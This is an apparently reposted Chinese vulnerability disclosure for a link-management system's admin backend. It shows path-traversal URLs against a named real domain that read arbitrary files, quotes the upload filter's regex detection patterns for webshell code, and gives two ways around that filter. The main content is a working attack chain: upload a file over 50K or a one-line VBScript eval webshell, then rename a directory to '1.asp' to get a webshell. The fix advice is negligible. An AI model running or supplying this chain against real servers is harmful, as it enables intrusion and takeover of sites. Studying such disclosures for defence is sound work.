鸿 网 互 联 www.68idc.cn

当前位置 : 服务器租用 > 网站安全 > 安全设置 > >

传承链接管理系统后台存在任意文件读取漏洞+上传检查不严谨可Get

来源:互联网 作者:佚名 时间:2015-08-26 07:48
1.模板管理处对CurrPath参数过滤不当导致可以遍历上级目录 http://pplms.cn/x/admin/Template/TemplateManage.asp?CurrPath=%2Fx%2F 也可以直接查看文件内容,如 http://pplms.cn/x/admin/Template/Template.asp?Action=ModifyFileName=Config%2EaspCurrPath=
1.模板管理处对CurrPath参数过滤不当导致可以遍历上级目录
 
http://pplms.cn/x/admin/Template/TemplateManage.asp?CurrPath=%2Fx%2F
也可以直接查看文件内容,如
 
http://pplms.cn/x/admin/Template/Template.asp?Action=Modify&FileName=Config%2Easp&CurrPath=%2Fx%2FConfig
按说这里应该是编辑内容的,但是限制了可保存的文件名,文件名不能出现; 并且路径中也不能出现x.asp这种,就算你建立了x.asp这样的目录也不能在这里拿shell
 
 
 
2.结合1,虽然不能直接拿shell,但是支持我们新建一个1.asp的目录名,系统本身有上传文件管理的功能
 
我开始的想法是直接传jpg到1.asp目录里,但是文件内容也有检查限制
我们利用漏洞1读一下相关的代码,文件类型限制之类的就不看了,只看内容检查的地方,代码如下
 
'检查文件内容的是否合法

Function  CheckFileContent(byval path,byval FileSize)

    Dim kk,NoAllowExtArr

NoAllowExtArr=Split(NoAllowExt,"|")

For kk=0 To Ubound(NoAllowExtArr)

   If InStr(LCase(path),"." & NoAllowExtArr(kk))<>0 Then

  Call PCls.DeleteFile(path)'删除指定文件

  CheckFileContent= "文件上传失败,文件名不合法"

  Exit Function

End If

Next

If FileSize>50 Then Exit Function  '超过50K跳过检测



On Error Resume Next

Dim FindContent,regEx,FoundTF

FindContent=PCls.ReadFromFile(Replace(path,PCls.Setting(2),""))

If Err Then Exit Function:Err.Clear

FoundTF=false

Set regEx = New RegExp

regEx.IgnoreCase = True

regEx.Global = True



regEx.Pattern = "@\s*LANGUAGE\s*=\s*[""]?\s*(vbscript|jscript|javascript).encode\b"

If regEx.Test(FindContent) Then

  FoundTF=true

End If

regEx.Pattern = "execute\s*request"

If regEx.Test(FindContent) Then

  FoundTF=true

End If

regEx.Pattern = "executeglobal\s*request"

If regEx.Test(FindContent) Then

  FoundTF=true

End If

regEx.Pattern = "<script.*runat.*server(\n|.)*execute(\n|.)*<\/script>"

If regEx.Test(FindContent) Then

  FoundTF=true

End If

regEx.Pattern = "\<%(.|\n)*%\>"

If regEx.Test(FindContent) Then

  FoundTF=true

End If

If InStr(LCase(FindContent),"scripting.filesystemobject")<>0 or instr(lcase(FindContent),"adodb.stream")<>0 Then

  FoundTF=true

End If

Set regEx=nothing

If FoundTF Then

  PCls.DeleteFile(path)

  CheckFileContent="系统检查到您上传的文件可能存在危险代码,不允许上传!"

End If 

End Function

 

 
 
 
 
这里我们有两种绕过的方法
 
 
 
1是直接上传一个大于50k的
 
2是上传如下代码的一句话
 
<script language=VBScript runat=server>eval request("a")</Script>
 
 
正则匹配忽略了大小写
 
 
 
两种方式我们均上传成功
 
但是我发现默认会生成一个1asp的文件夹,而并非长传至1.asp,这个简单,利用模板管理的强大功能,把1asp目录重命名为1.asp就ok了
 
 
 
最终拿到了webshell
 
修复方案:
厂商还是有一定的安全意识的,如何修复我想也不用我多说了
网友评论
<